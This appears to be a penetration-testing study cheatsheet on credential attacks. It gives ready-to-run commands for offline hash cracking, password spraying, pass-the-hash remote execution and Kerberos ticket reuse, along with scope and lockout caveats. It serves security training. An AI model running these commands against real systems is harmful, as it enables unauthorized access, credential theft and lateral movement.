10.8 Credentials and Cracking Cheatsheet

Found a password, hash or key?

Identify its artifact type, account scope and supported use.

Need password recovery?

Select a format-matched offline recovery workflow.

← Cheatsheet index | Full procedure | Strategy map | Study methods: Recover and use authentication material

source -> format -> identity/context -> compatible use -> authentication
-> authorization -> new access -> re-enumerate

10.8.1 Classify

Run/context: classify and process recovered artifacts on the testing workstation; authentication checks contact the explicitly selected service. Decide: an NT hash, Net-NTLMv2 response and Kerberos cache are different capabilities. Follow the matching format section below; use one known credential validation before choosing remote access. Offline recovery alone does not establish service access.

hashid HASH_OR_FILE
john --list=formats | grep -i KEYWORD
hashcat --example-hashes | less

Material	Do not confuse it with	Next action
NT hash	Net-NTLMv2 response	Crack mode 1000 or compatible NTLM PtH
Net-NTLMv2	Reusable NT hash	Crack mode 5600 or authorized relay conditions
DCC2/MSCache v2	NT hash	Offline recovery with username; not ordinary PtH
`.kirbi`/ccache	Password/hash	Validate ticket, SPN, time and service
SSH key	Password	Fix permissions; crack only its passphrase if protected
KeePass/ZIP/PDF/Office	Raw password	Convert with matching `*2john` tool

10.8.2 Validate one known credential

ssh -o PreferredAuthentications=password -p PORT USER@TARGET
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares
nxc smb TARGET --local-auth -u USER -p 'PASSWORD' --shares
evil-winrm -i TARGET -u USER -p 'PASSWORD'
xfreerdp /v:TARGET /u:'DOMAIN\USER' /p:'PASSWORD' /cert:ignore

Login accepted proves authentication to that service. Shares, sessions, execution and administrator rights are separate authorization claims.

10.8.3 Test bounded password candidates after checking lockout constraints Authorized online dictionary/spray

10.8.3.1 one known user, candidate passwords

# one known user, candidate passwords
hydra -l USER -P WORDLIST -s PORT -t 4 -f ssh://TARGET

10.8.3.2 one password, candidate users

# one password, candidate users
hydra -L USERS -p 'PASSWORD' -s PORT -t 1 rdp://TARGET

HTTP form after capturing the real request and failure marker:

hydra -l USER -P WORDLIST TARGET http-post-form \
  '/LOGIN_PATH:username=^USER^&password=^PASS^:F=STABLE_FAILURE_TEXT'

Check lockout/rate controls first and manually confirm tool hits. Dynamic CSRF/cookies and weak condition strings require manual handling.

10.8.4 Recover a password with a format-matched Hashcat job Hashcat

Use the identified verifier format and a feasible offline candidate strategy.

hashcat -b -m MODE
hashcat -a 0 -m MODE hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule --session job
hashcat -m MODE hashes.txt --show
hashcat -r /usr/share/hashcat/rules/best64.rule --stdout wordlist.txt | head

10.8.4.1 known pattern

# known pattern
hashcat -a 3 -m MODE hashes.txt '?u?l?l?l?l?d?d?d' --session mask-job

10.8.4.2 word plus three digits

# word plus three digits
hashcat -a 6 -m MODE hashes.txt wordlist.txt '?d?d?d' --session hybrid-job

10.8.4.3 resume

# resume
hashcat --session job --restore

-a 0 is dictionary mode; -a 3 expects a mask, not a wordlist. Measure the actual mode before attempting a large keyspace.

# confirm modes locally
hashcat -h | grep -Ei 'NTLM|NetNTLMv2|KeePass|OpenSSH|Kerberos'

Common current mappings: NTLM 1000, Net-NTLMv2 5600, KeePass 13400, AS-REP etype 23 18200, TGS etype 23 13100. Installed help/example hashes win.

10.8.5 Recover a password from a supported verifier with John John

Use the identified verifier format and a feasible offline candidate strategy.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt
john --format=FORMAT --wordlist=wordlist.txt --rules=Jumbo hash.txt
john --session=job --wordlist=wordlist.txt hash.txt
john --restore=job

10.8.6 Extract a password verifier from the protected file Convert protected files

zip2john archive.zip > archive.hash
ssh2john id_rsa > ssh.hash
keepass2john vault.kdbx > keepass.hash
pdf2john document.pdf > pdf.hash
office2john document.docx > office.hash
rar2john archive.rar > rar.hash
7z2john archive.7z > 7z.hash
unshadow passwd.copy shadow.copy > linux.hash

10.8.7 Recover a passphrase for an accessible SSH private key SSH key

chmod 600 id_rsa
ssh-keygen -y -f id_rsa > derived.pub
ssh -vv -i id_rsa -o IdentitiesOnly=yes -p PORT USER@TARGET

# protected key recovery
ssh2john id_rsa > ssh.hash
john --wordlist=wordlist.txt --rules=Jumbo ssh.hash
john --show ssh.hash

Key unlock and server authorization are separate. Permission denied (publickey) can occur after the passphrase was correct.

10.8.8 Recover passwords from accessible Linux password verifiers Linux password records

unshadow passwd.copy shadow.copy > linux.hash
john --wordlist=wordlist.txt --rules=Jumbo linux.hash
john --show linux.hash

10.8.9 Authenticate with an NT hash where the service supports it Pass-the-hash

nxc smb TARGET -d DOMAIN -u USER -H NT_HASH --shares
impacket-wmiexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
xfreerdp /v:TARGET /u:'DOMAIN\USER' /pth:NT_HASH /cert:ignore

Authentication ≠ remote authorization. Re-enumerate every service/share/right after a successful identity transition. Responder spoofing is prohibited on the OSCP+ exam; keep capture/relay work to explicitly authorized labs.

10.8.10 Select offline recovery for captured responses or cached verifiers Net-NTLMv2 and DCC2

hashcat -a 0 -m 5600 netntlmv2.hash wordlist.txt
john --format=netntlmv2 --wordlist=wordlist.txt netntlmv2.hash
john --format=mscash2 --wordlist=wordlist.txt dcc2.hash

Neither is a reusable NT hash. Net-NTLMv2 relay is a separate live exchange; DCC2 preserves username-dependent context.

10.8.11 Inspect available tickets and determine where they can authenticate Kerberos ticket/cache

klist
KRB5CCNAME=TICKET.ccache klist
impacket-ticketConverter TICKET.kirbi TICKET.ccache
export KRB5CCNAME=TICKET.ccache
impacket-wmiexec -k -no-pass 'DOMAIN/USER@HOST.DOMAIN'

Check principal, realm, TGT/TGS type, SPN, validity, clock, DNS/FQDN, route and service rights.

10.8.12 Choose the next check from the failure you observed Failure router

Symptom	Next action
Timeout/refused	Fix route/service before judging material
Local/domain login fails	Recheck identity context and supported auth method
Parser/token error	Recheck complete format, converter, mode and tool version
Auth succeeds, access denied	Preserve valid identity; enumerate authorization
SSH key unlocks, server rejects	Recheck user/server/authorized key/policy
Ticket loads, service rejects	Check expiry, SPN, realm, clock and DNS
PtH authenticates, execution fails	Check admin rights, UAC restrictions and method prerequisites

10.8.13 Re-enumerate

identity -> groups/roles -> services -> shares/files -> application features
-> accessible hosts/routes -> new credentials/tickets/sessions -> next block

10.8.14 Use a known password from a Windows foothold

Run a reviewed RunasCs build on the current Windows host with the intended account scope. It accepts a plaintext password, not an NT hash.

REM Domain account: inspect the resulting token
RunasCs.exe USER PASSWORD "cmd /c whoami /all" -d DOMAIN
REM Local account on this host
RunasCs.exe USER PASSWORD "cmd /c whoami /all"
REM Network-only: local identity stays unchanged; inspect the remote result
RunasCs.exe USER PASSWORD "cmd /c dir \\TARGET\SHARE" -d DOMAIN -l 9

With logon type 9, whoami does not validate the outbound password. An authentication success is separate from resource authorization or an elevated token. Full credential-use procedure.

10.8.15 Discover and recognize candidates

Use these discovery checks to find a candidate, then validate the missing conditions. Cues are illustrative; complete synthetic outputs and three-outcome examples are in the linked study entries.

10.8.15.1 Recover and use authentication material

10.8.15.1.1 Find: Classify the artifact and its identity context

Return to the file, database row, capture or session that produced the artifact; inspect structure and account labels before choosing a tool mode.

file FILE
head -c 160 FILE

Recognize: Headers and producing context distinguish a private key, challenge response and stored NT verifier.

Validate next: Record the exact source, user/domain and complete format; identify compatible recovery/authentication operations.

Classify the artifact and its identity context.

10.8.15.1.2 Commands and use-case variants

Need: A credential artifact with a recorded source and possible account context. Artifact provenance and format; possible local/domain/application identity and compatible protocol

SOURCE -> MATERIAL/FORMAT -> LOCAL/DOMAIN/APPLICATION IDENTITY
-> POSSIBLE USE -> SERVICE/PROTOCOL -> AUTHENTICATION
-> AUTHORIZATION -> NEW ACCESS -> RE-ENUMERATION

Record source, claimed identity, format evidence, possible uses, tested service, result and resulting rights together.

Material	Recognition	Compatible use
Cleartext password	Text tied to an identity/source	Normal protocol/application login
SSH private key	OpenSSH/PEM private-key block	SSH public-key authentication; recover passphrase offline if protected
Linux password record	`USER:$id$salt$digest:...`	Offline recovery with complete record/format
Application/file verifier	Tool-specific $...$ or documented digest	Offline recovery with matching mode/parser
NT hash	Usually 32 hex from SAM/LSASS/NTDS context	Offline recovery; PtH where NTLM and the client support it
Net-NTLMv2 response	`USER::DOMAIN:challenge:proof:blob`	Offline recovery or live relay under specific conditions; not PtH material
DCC2/MSCache v2	Username-dependent cached-domain verifier	Offline recovery; not ordinary PtH material
Kerberos ticket	`.kirbi`, ccache or in-memory cache	Ticket-specific access subject to realm, SPN, validity, clock and route
Kerberos roast material	`$krb5asrep$...` or `$krb5tgs$...`	Offline recovery with matching enctype/mode
Session/API token	Cookie, bearer/JWT or application token	Issuing application and authorization context only

Do not feed unknown strings into random modes. Preserve the source and identity context, then identify the format:

hashid HASH_OR_FILE
john --list=formats | grep -i KEYWORD
hashcat -hh | grep -i KEYWORD
hashcat --example-hashes | less

Failure cue: No hashes loaded, token/line-length errors or zero parsed hashes normally indicate wrong format, mode, damaged input or unsupported version—not a strong password.

Output	Type	Immediate compatible possibilities	Not valid as
Cleartext password	Reusable secret	Password authentication, key derivation, DPAPI where applicable	Proof of authorization
NT hash	NTLM key	Offline crack; PTH where NTLM/service policy allows; Kerberos RC4 transition where supported	Net-NTLM response or DCC2
AES128/AES256 key	Kerberos long-term key	Request Kerberos material using compatible tooling	Direct NTLM authentication
`.kirbi` / ccache	Kerberos ticket container	Use while valid for its client/realm/SPN scope	Password/hash
DCC2/MSCache v2	Offline verifier	Offline cracking	PTH
DPAPI key/blob	Protected-data material	Decrypt only with matching context/keys	General logon credential
Machine-account key	Computer identity	Map the computer account's rights and Kerberos/NTLM paths	Human/domain-admin identity

10.8.15.1.2.1 Net-NTLMv2 relay is a live authentication path, not hash reuse

A captured Net-NTLMv2 response is suitable for offline recovery, but cannot be passed as an NT hash. A relay path instead needs a fresh inbound NTLM authentication event, a different reachable target that accepts the relayed protocol, target protections that permit the exchange, and useful authorization for the relayed identity.

For an explicitly selected SMB destination, inspect signing behavior before considering it a relay receiver:

nmap -p 445 --script smb2-security-mode TARGET

Interpret: signing required closes the ordinary SMB-to-SMB relay receiver path. Signing enabled but not required is only one prerequisite; it does not supply an authentication source, bypass EPA/channel binding on another protocol, or grant the relayed identity useful rights.

The current OSCP+ exam guide prohibits poisoning/spoofing. Do not use Responder-style name-resolution poisoning in the exam workflow. A direct, already-existing authentication source still needs a separately reviewed, scope-compliant relay procedure and an action-specific verification; the incomplete procedure is tracked as RW09.

Every newly usable identity returns to Block 10 before movement:

VERIFY MATERIAL -> AUTHENTICATE SAFELY -> CONFIRM IDENTITY
                -> MAP GROUPS/RIGHTS/SHARES/HOSTS/ROUTES

Verify: Identify artifact type, source, account/domain and compatible next operation; record unknowns instead of guessing.

If it fails: A 32-character hexadecimal value is not enough to identify its algorithm. Use application/source evidence and converters.

10.8.15.1.3 Find: Validate known passwords and context-specific reuse

Use the account label from the producing source and the observed service inventory to choose one compatible, correctly qualified validation.

nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD'

Recognize: Accepted authentication proves one service/account pairing; it does not establish shares, administration, RDP or WinRM.

Validate next: Qualify local/domain/application identity explicitly, test a compatible reachable service and record the accepted identity. Then test the specific share/logon/execution right; successful authentication is not administrative authorization.

Validate known passwords and context-specific reuse.

10.8.15.1.4 Commands and use-case variants

Need: A credential artifact with a recorded source and possible account context. Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Use the normal client for the observed service:

ssh -o PreferredAuthentications=password -p PORT USER@TARGET
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares
evil-winrm -i TARGET -u USER -p 'PASSWORD'
xfreerdp /v:TARGET /u:'DOMAIN\USER' /p:'PASSWORD' /cert:ignore

Local Windows account:

nxc smb TARGET --local-auth -u USER -p 'PASSWORD' --shares

Decisive output: the destination service accepts the intended identity. Share, session or action access is a separate authorization result.

10.8.15.1.5 Variant — known user, targeted password dictionary

hydra -l USER -P WORDLIST -s PORT -t 4 -f ssh://TARGET
hydra -l USER -P WORDLIST -t 1 -f rdp://TARGET

Use only on an assigned target after checking lockout and rate controls. Confirm every reported success with the normal client.

10.8.15.1.6 Variant — one password across an authorized user list

hydra -L USERS -p 'PASSWORD' -s PORT -t 1 rdp://TARGET
nxc smb TARGET -d DOMAIN -u USERS -p 'PASSWORD' --continue-on-success

One attempt per account can still trigger lockout or monitoring. Establish scope, threshold/window and observation period first.

10.8.15.1.7 Variant — HTTP POST form

Capture a correct request and stable failure marker with Burp:

hydra -l USER -P WORDLIST TARGET http-post-form \
  '/LOGIN_PATH:username=^USER^&password=^PASS^:F=STABLE_FAILURE_TEXT'

Dynamic CSRF tokens, cookies, redirects, throttling and uniform responses require manual handling or a different approach. A weak failure marker creates false positives.

10.8.15.1.8 RunasCs — test a known password from an existing Windows shell

Use a reviewed, compatible build on the current Windows host with a known plaintext password. This creates a new local process/logon context; it is not remote execution and does not turn an NT hash into a password.

10.8.15.1.9 Domain account: verify the new process token

REM Domain account: verify the new process token
RunasCs.exe USER PASSWORD "cmd /c whoami /all" -d DOMAIN

10.8.15.1.10 Local account: omit the domain switch for the current host's account

REM Local account: omit the domain switch for the current host's account
RunasCs.exe USER PASSWORD "cmd /c whoami /all"

10.8.15.1.11 Network-only credentials: local identity stays unchanged

REM Network-only credentials: local identity stays unchanged
RunasCs.exe USER PASSWORD "cmd /c dir \\TARGET\SHARE" -d DOMAIN -l 9

Read: in the first two forms, whoami identifies the created process; inspect its groups/integrity before claiming escalation. With logon type 9, local whoami is not a credential test: use the remote operation's result. Logon failure → check account scope, password and permitted logon type. An accepted logon with access denied → inspect authorization on that resource.

RunasCs upstream. Native runas remains an alternative when an interactive password prompt is usable. Neither tool guarantees an elevated token.

accepted identity -> groups/roles -> reachable services -> shares/files
-> authenticated application behavior -> accessible hosts/routes
-> new credentials/tickets/sessions -> privilege and movement handoffs

Verify destination host, accepted identity and actual read/write/execute rights. New hosts/listeners return to discovery; recovered material returns here; operating-system execution enters session handling; domain identities enter AD mapping.

net accounts /domain

Get-DomainPolicyData | Select-Object -ExpandProperty SystemAccess

Password validation belongs to the existing credential procedure. Do not spray by default. If explicitly required, account for lockout threshold, duration, observation window and prior failures; use one justified candidate, stop on lockout/rate-limit evidence and preserve successful identities separately.

Verify: Record exact identity, service and tested read/write/session effect; classify authentication and authorization separately.

If it fails: Account disabled, expired password, wrong domain and denied logon require different responses. Avoid repeating a known-valid password against a denied action.

10.8.15.1.12 Find: Recover passwords with feasible dictionary, rule and mask attacks

Identify a supported verifier/converter and build candidate structure from relevant names/policy/context rather than selecting an arbitrary hash mode.

hashcat --example-hashes
john --list=formats

Recognize: A verified format and feasible candidate model enable offline recovery; a hash-shaped string alone does not.

Validate next: Check complete salt/context, conversion correctness, tool backend and whether all required factors are present.

Recover passwords with feasible dictionary, rule and mask attacks.

10.8.15.1.13 Commands and use-case variants

Need: A credential artifact with a recorded source and possible account context. Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend

hashcat -b -m MODE
python3 -c "print((CHARSET_SIZE ** LENGTH) / GUESSES_PER_SECOND)"

Use the actual mode and hardware rate. Salts prevent reusable precomputation; iterations and memory-hard KDFs reduce guesses per second. Prefer candidates in this order:

exact recovered/default candidates -> organization/user/product words
-> observed policy and mutations -> small dictionary plus rules
-> known mask/hybrid -> broader curated lists/rules
-> exhaustive search only when its measured cost is defensible

Preview mutations before spending the candidate budget:

hashcat -r /usr/share/hashcat/rules/best64.rule --stdout wordlist.txt | head -n 50
john --wordlist=wordlist.txt --rules=Jumbo --stdout | head -n 50

hashcat -a 0 -m MODE hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule --session job
hashcat -m MODE hashes.txt --show

-a 0 is dictionary mode. Do not use -a 3 with a wordlist; attack mode 3 expects a mask.

Common source examples identify NTLM as mode 1000, Net-NTLMv2 as 5600 and KeePass as 13400, but confirm against the installed version:

hashcat -h | grep -Ei 'NTLM|NetNTLMv2|KeePass|OpenSSH'

10.8.15.1.14 Mask and session variants

hashcat -m MODE hashes.txt -a 3 '?u?l?l?l?l?d?d?d' --session targeted-mask
hashcat --session targeted-mask --restore

Mask order is a hypothesis about structure. Estimate its keyspace before committing time.

10.8.15.1.15 Hybrid variant — base word plus three digits

hashcat -a 6 -m MODE hashes.txt wordlist.txt '?d?d?d' --session targeted-hybrid

Use only when evidence supports both the base words and suffix shape.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt

john --format=FORMAT --wordlist=wordlist.txt --rules=Jumbo hash.txt
john --session=crack-job --wordlist=wordlist.txt hash.txt
john --restore=crack-job

File-to-hash converters:

zip2john archive.zip > archive.hash
7z2john archive.7z > archive.hash
ssh2john id_rsa > ssh.hash
keepass2john vault.kdbx > keepass.hash
pdf2john document.pdf > pdf.hash
office2john document.docx > office.hash
rar2john archive.rar > rar.hash
unshadow passwd.copy shadow.copy > linux.hash

Converter availability varies by package/path; locate it rather than assuming:

command -v ssh2john || find /usr/share/john -maxdepth 2 -iname '*2john*' 2>/dev/null

Preserve the complete converter output. Some formats include a filename label before : that John accepts but Hashcat may require removed from a separate tool-specific copy.

Verify: Use the tool's show/result output and then validate the recovered credential in its correct context.

If it fails: Token/separator errors imply wrong or incomplete input; no recovery means only the tested candidate space was exhausted.

10.8.15.1.16 Find: Recover a protected KeePass database password

Look for a vault in readable backups/shares/application data, then inspect file identity and nearby factor/configuration references.

file FILE
keepass2john FILE > keepass.hash

Recognize: A supported database gives a recovery target, but a referenced key file indicates a separate factor.

Validate next: Confirm vault version, required key/account factors and a feasible password search.

Recover a protected KeePass database password.

10.8.15.1.17 Commands and use-case variants

Need: A credential artifact with a recorded source and possible account context. Complete database, compatible converter, and every required factor; a feasible password candidate strategy

keepass2john vault.kdbx > keepass.hash
john --wordlist=wordlist.txt keepass.hash
john --show keepass.hash

Hashcat alternative after confirming KDBX/KDF and input format:

hashcat -hh | grep -i keepass
hashcat -a 0 -m 13400 keepass.hash wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 13400 keepass.hash --show

Mode 13400 covers common KeePass 1/2 AES formats. Installed help and example hashes decide for the actual file. A recovered master password still requires opening and validating the vault.

Verify: Open the database with all factors and distinguish vault credentials from target account credentials.

If it fails: Missing factors, unsupported versions or malformed conversion require fixing the input, not endless password guessing.

10.8.15.1.18 Find: Inspect and recover SSH private-key access

Trace readable key files from home/configuration/backups to a specific username; inspect the key parser's response before testing the server.

file KEY
ssh-keygen -y -f KEY

Recognize: The artifact is a private key protected by a local passphrase; this is separate from the SSH account password.

Validate next: Determine the protecting passphrase, associated remote user, accepted algorithm and server key authorization.

Inspect and recover SSH private-key access.

10.8.15.1.19 Commands and use-case variants

Need: A credential artifact with a recorded source and possible account context. Correct key format, passphrase if encrypted, matching server account/key authorization and accepted algorithm/policy

ssh2john id_rsa > ssh.hash
john --wordlist=wordlist.txt ssh.hash
john --show ssh.hash
chmod 600 id_rsa
ssh-keygen -y -f id_rsa > derived.pub
ssh -vv -i id_rsa -o IdentitiesOnly=yes -p PORT USER@TARGET

Cracking a key passphrase unlocks the file; it does not prove the matching public key is authorized. Permission denied (publickey) can mean wrong user/server, missing authorization or server algorithm/policy after a successful local unlock.

10.8.15.1.20 Hashcat variant — only for a supported OpenSSH format

hashcat -hh | grep -i 'OpenSSH\|Private Key'
hashcat -a 0 -m MODE ssh.hash wordlist.txt -r RULE_FILE

Choose MODE from the complete $sshng$... structure and installed help. Token-length or unsupported-cipher errors require a compatible parser/tool, not --force with a wrong mode.

Verify: Verify the key parses and an SSH authentication/session succeeds under the correct target identity.

If it fails: Invalid format, line endings, wrong passphrase and server rejection are separate layers.

10.8.15.1.21 Find: Recover Linux account passwords from matched records

Inspect permission-backed account backups or privileged read results; associate shadow verifiers with the matching passwd metadata.

file passwd.txt shadow.txt
head -n 3 passwd.txt
head -n 3 shadow.txt

Recognize: The matching account name and verifier prefix identify an offline password-recovery candidate.

Validate next: Confirm snapshots, hash format and account state; a locked field or absent salt is not a normal usable verifier.

Recover Linux account passwords from matched records.

10.8.15.1.22 Find: Recover or reuse an NT password hash

Inspect the output schema of a justified local/domain credential source, keeping RID, machine and domain labels.

head -n 3 hashes.txt

Recognize: The source and record fields identify an NT verifier for that local account, not a captured challenge response.

Validate next: Verify the actual NT field, account scope and an accepting service/client with the required destination right.

Recover or reuse an NT password hash.

10.8.15.1.23 Commands and use-case variants

Need: A credential artifact with a recorded source and possible account context. Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights

Offline recovery:

hashcat -a 0 -m 1000 nt.hash wordlist.txt -r /usr/share/hashcat/rules/best64.rule
john --format=NT --wordlist=wordlist.txt nt.hash

Compatible SMB validation:

nxc smb TARGET -d DOMAIN -u USER -H NT_HASH --shares
smbclient //TARGET/SHARE -U 'DOMAIN\USER' --pw-nt-hash NT_HASH

NT hashes come from a producing context such as SAM, LSASS or NTDS. A visually similar 32-hex application digest is not PtH material.

10.8.15.1.24 Variant — remote access/execution when the identity has matching rights

impacket-wmiexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
impacket-psexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
xfreerdp /v:TARGET /u:'DOMAIN\USER' /pth:NT_HASH /cert:ignore

WMI needs administrative rights plus DCOM/RPC/SMB reachability and normally runs as the authenticated user. PsExec-style execution needs service-control and writable-share rights and commonly yields SYSTEM. RDP hash authentication depends on target/client support and policy. Detailed method selection belongs to the lateral-movement procedure.

Verify: Verify source/type, identity context and the exact permitted service action.

If it fails: Local/domain confusion, remote UAC and denied NTLM are different from an invalid hash. Use tickets only when their own prerequisites exist.

10.8.15.1.25 Find: Recover a password from a captured NTLM response

Use the saved authorized capture's structure and source context; inspect username/domain/challenge/response fields before selecting recovery.

head -n 2 responses.txt

Recognize: A challenge-bound response supports its appropriate offline verification workflow; it is not the long-term NT hash.

Validate next: Check complete capture format, account mapping and feasible candidates; acquisition/relay policy is a separate issue.

Recover a password from a captured NTLM response.

10.8.15.1.26 Commands and use-case variants

Need: A credential artifact with a recorded source and possible account context. Correct challenge/response formatting and feasible candidates; acquisition method must fit the allowed context

hashcat -a 0 -m 5600 netntlmv2.hash wordlist.txt
john --format=netntlmv2 --wordlist=wordlist.txt netntlmv2.hash

A Net-NTLMv2 response is not an NT hash and cannot be supplied to -H or -hashes. Relay forwards a live authentication exchange and requires received/coerced authentication, compatible protocols, signing/channel-binding conditions and useful rights.

The OSCP+ exam prohibits spoofing, including NBNS. Do not use Responder poisoning on the exam. Keep capture/relay work to explicitly authorized labs and recheck the current guide.

Verify: Retain response provenance and recovered account/password mapping; confirm relevant login rights separately.

If it fails: Incomplete captures or wrong separators break recovery. Prohibited spoofing/poisoning workflows are not an operational exam acquisition method.

10.8.15.1.27 Find: Recover a password from cached domain logon verifiers

Inspect SECURITY/SYSTEM parser output and distinguish cached-domain logon verifiers from local SAM hashes and service secrets.

head -n 3 dcc2.txt

Recognize: The DCC2 structure and username-associated derivation identify offline cached-logon material.

Validate next: Verify iteration/username context, source consistency and current online account state after any recovery.

Recover a password from cached domain logon verifiers.

10.8.15.1.28 Commands and use-case variants

Need: A credential artifact with a recorded source and possible account context. Correct username/salt/iteration context and feasible offline candidates

hashcat -hh | grep -i 'Domain Cached'
john --format=mscash2 --wordlist=wordlist.txt dcc2.hash

Preserve the username because it participates in the verifier. DCC2 is an offline recovery target, not ordinary PtH material.

Verify: Confirm artifact format, account mapping and current password acceptance.

If it fails: No recovery does not disprove account existence; stale cached credentials may fail current online authentication.

10.8.15.1.29 Find: Classify tickets and use a compatible cache

Inspect an existing ticket/cache before collecting new material; identify its client, service, realm and validity.

klist -c FILE

Recognize: This is service-scoped CIFS material, not a TGT for requesting arbitrary services.

Validate next: Check lifetime, cache format, exact SPN/name, route and destination object authorization.

Classify tickets and use a compatible cache.

10.8.15.1.30 Commands and use-case variants

Need: A credential artifact with a recorded source and possible account context. Correct principal/realm, valid lifetime, service scope, compatible cache format and naming/KDC route

Inspect before use:

klist
KRB5CCNAME=TICKET.ccache klist
impacket-ticketConverter TICKET.kirbi TICKET.ccache

Compatible client example:

export KRB5CCNAME=TICKET.ccache
impacket-wmiexec -k -no-pass 'DOMAIN/USER@HOST.DOMAIN'

Verify client principal, realm, TGT versus service ticket, SPN, start/end time, clock, DNS/FQDN and routes. A readable cache does not prove authorization. Roasting, forging and detailed PtT/overpass belong to the AD procedures.

Verify: Inspect principal, ticket service, realm and lifetime, then verify the actual service action.

If it fails: Expired tickets, wrong hostname/SPN, cache format and time skew require different fixes; an IP-only connection can break correct Kerberos naming.